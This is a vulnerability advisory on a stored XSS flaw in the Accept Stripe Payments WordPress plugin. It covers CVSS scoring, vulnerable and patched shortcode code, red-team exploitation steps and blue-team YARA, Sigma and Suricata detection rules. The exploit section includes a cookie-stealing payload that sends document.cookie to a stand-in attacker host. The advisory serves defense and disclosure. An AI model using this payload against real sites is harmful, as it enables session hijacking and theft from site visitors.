CVE-2024-7353

Executive Summary

CVE-2024-7353 is a Stored Cross-Site Scripting (XSS) vulnerability in the Accept Stripe Payments WordPress plugin (versions up to and including 2.0.86). The flaw resides in the accept_stripe_payment_ng shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This is a WordPress ecosystem issue and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a direct dependency for WordPress sites using Stripe payment processing. The lack of a patch at the time of analysis increases supply chain risk for sites that rely on automatic updates or have not manually applied mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the ability to target all site visitors elevates the risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability is triggered via the accept_stripe_payment_ng shortcode. The plugin fails to sanitize and escape user-supplied attributes (e.g., name, description, price, currency) before rendering them in the page HTML. An attacker with contributor-level access can create a post or page containing the malicious shortcode. When the shortcode is processed, the injected JavaScript executes in the context of the victim's browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes.

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates a new post or page.
3. Attacker inserts the shortcode with malicious attributes: [accept_stripe_payment_ng name="<script>alert('XSS')</script>" price="1.00"]
4. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.86): The shortcode handler directly outputs attribute values without escaping.

// In accept-stripe-payments.php or similar
function accept_stripe_payment_ng_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
        'price' => '',
        // ...
    ), $atts);
    // Direct output without escaping
    $output = '<div class="asp_product_name">' . $atts['name'] . '</div>';
    return $output;
}

Patched Code (hypothetical): The patched version would use esc_html() or wp_kses() to sanitize output.

function accept_stripe_payment_ng_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
        'price' => '',
        // ...
    ), $atts);
    // Proper escaping
    $output = '<div class="asp_product_name">' . esc_html($atts['name']) . '</div>';
    return $output;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Accept Stripe Payments plugin <= 2.0.86
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post.
3. Insert the following shortcode in the post content:

   [accept_stripe_payment_ng name="<img src=x onerror=alert('XSS')>" price="1.00"]
   

4. Publish the post.
5. Any user visiting the post will see an alert box.

Advanced Payload:

[accept_stripe_payment_ng name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" price="1.00"]

Blue Team

Detection:

• Monitor for posts/pages containing the shortcode accept_stripe_payment_ng with suspicious attributes (e.g., <script>, onerror, onload).
• Review user activity logs for contributor-level users creating posts with unusual shortcode parameters.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/stripe-payments/accept-stripe-payments.php (or similar main plugin file)
• Shortcode pattern: [accept_stripe_payment_ng name="<script>...</script>" ...]
• HTTP request: POST to /wp-admin/post.php with post_content containing the malicious shortcode
• Log entry: WordPress audit log showing creation of a post with shortcode containing HTML/JavaScript

Detection Engineering

YARA Rule

rule detect_cve_2024_7353_xss {
    meta:
        description = "Detects malicious shortcode attributes for CVE-2024-7353"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7353"
    strings:
        $shortcode = /\[accept_stripe_payment_ng\s+[^\]]*?(<|%3C|\\x3C)[^\]]*?(>|%3E|\\x3E)/ nocase
        $xss_payload = /(onerror|onload|onclick|onmouseover)\s*=/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-7353 Stored XSS via Accept Stripe Payments Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of posts/pages with malicious shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for post creation
        PostContent|contains: 'accept_stripe_payment_ng'
        PostContent|re: '(<|%3C|\\x3C).*(>|%3E|\\x3E)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7353 Stored XSS via Accept Stripe Payments"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"accept_stripe_payment_ng"; http_client_body; pcre:"/(<|%3C|\\x3C)[^>]*(>|%3E|\\x3E)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Restrict contributor-level access to only trusted users.
3. Apply a virtual patch using a WAF to block XSS payloads in shortcode attributes.

Long-term Fix:

• Monitor the plugin's official page for a patched version (expected > 2.0.86).
• Once available, update to the latest version immediately.
• Consider using a security plugin (e.g., Wordfence) to add an additional layer of XSS protection.

Workaround:

• If the plugin must remain active, manually edit the shortcode handler to add esc_html() to all attribute outputs (see patched code example above).

Valters IT